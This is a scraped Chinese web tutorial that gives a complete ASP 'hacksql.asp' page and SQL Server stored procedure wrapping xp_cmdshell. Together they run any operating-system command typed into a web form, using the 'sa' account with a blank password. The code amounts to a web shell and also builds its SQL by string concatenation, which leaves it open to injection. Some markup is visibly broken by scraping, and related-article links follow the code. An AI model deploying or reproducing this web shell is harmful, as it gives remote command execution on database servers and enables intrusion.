利用sql的存储过程实现dos命令的asp程序

Q_757856333赝

Q_757856333赝

2016-01-29 20:16

利用sql的存储过程实现dos命令的asp程序,利用sql的存储过程实现dos命令的asp程序
1、首先在sql里面你能够访问的数据库里面建立存储过程,比如说:ddy
如下:
CREATE PROCEDURE ddy
@cmd varchar(50)
AS
exec master..xp_cmdshell @cmd
2、asp程序里如下:(hacksql.asp)
<%
cmd=trim(Request.Form("cmd"))
if cmd<"" then
work()
else
show()
end if
function work()
set conn=server.CreateObject("adodb.connection")
set rs=server.CreateObject("adodb.recordset")
conn.Open "xx","sa",""
sql="exec ddy '"&cmd&"'"

rs.Open sql,conn
if not rs.EOF then
do while not rs.eof
Response.Write "<pre"&htmlencode2(trim(rs(0)))&"</pre"
rs.MoveNext
loop
else
Response.Write "no"
end if
if rs.State=1 then rs.close
set rs=nothing
conn.Close
set conn=nothing
end function
function show()
%
<form action=hacksql.asp method=post
请输入DOS命令:<input type=text name=cmd
<input type=submit value="ok"
</form
<%
end function
function htmlencode2(str)'--------转换函数(为了显示时比较工整)
dim result
dim l
if isnull(str) then
htmlencode2=""
exit function
end if
l=len(str)
result=""
dim i
for i = 1 to l
select case mid(str,i,1)
case "<"
result=result+"<"
case ""
result=result+""
case chr(34)
result=result+"""
case "&"
result=result+"&"
case chr(13)
result=result+"<br"
case chr(9)
result=result+" "
case "'"
result=result+"’"
case chr(32)
result=result+" "
if i+1<=l and i-10 then
if mid(str,i+1,1)=chr(32) or mid(str,i+1,1)=chr(9) or mid(str,i-1,1)=chr(32) or mid(str,i-1,1)=chr(9) then
result=result+" "
else
result=result+" "
end if
else
result=result+" "
end if
case else
result=result+mid(str,i,1)
end select
next
htmlencode2=result
end function
%
展开更多 50%)
分享

猜你喜欢

利用sql的存储过程实现dos命令的asp程序

ASP
利用sql的存储过程实现dos命令的asp程序

ASP调用SQL SERVER存储程序

ASP
ASP调用SQL SERVER存储程序

s8lol主宰符文怎么配

英雄联盟 网络游戏
s8lol主宰符文怎么配

利用SQLSERVER存储过程实现ASP用户身份验证

ASP
利用SQLSERVER存储过程实现ASP用户身份验证

asp 用存储过程实现数据分页

ASP
asp 用存储过程实现数据分页

lol偷钱流符文搭配推荐

英雄联盟 网络游戏
lol偷钱流符文搭配推荐

结合asp和存储过程做的搜索程序

Web开发
结合asp和存储过程做的搜索程序

用ASP调用SQL Server的视图和存储过程

编程语言 网络编程
用ASP调用SQL Server的视图和存储过程

lolAD刺客新符文搭配推荐

英雄联盟
lolAD刺客新符文搭配推荐

看人家用使用InstallShield制作ASP安装程序(2)

看人家用使用InstallShield制作ASP安装程序(2)

看人家用使用InstallShield制作ASP安装程序(3)

看人家用使用InstallShield制作ASP安装程序(3)
下拉加载更多内容 ↓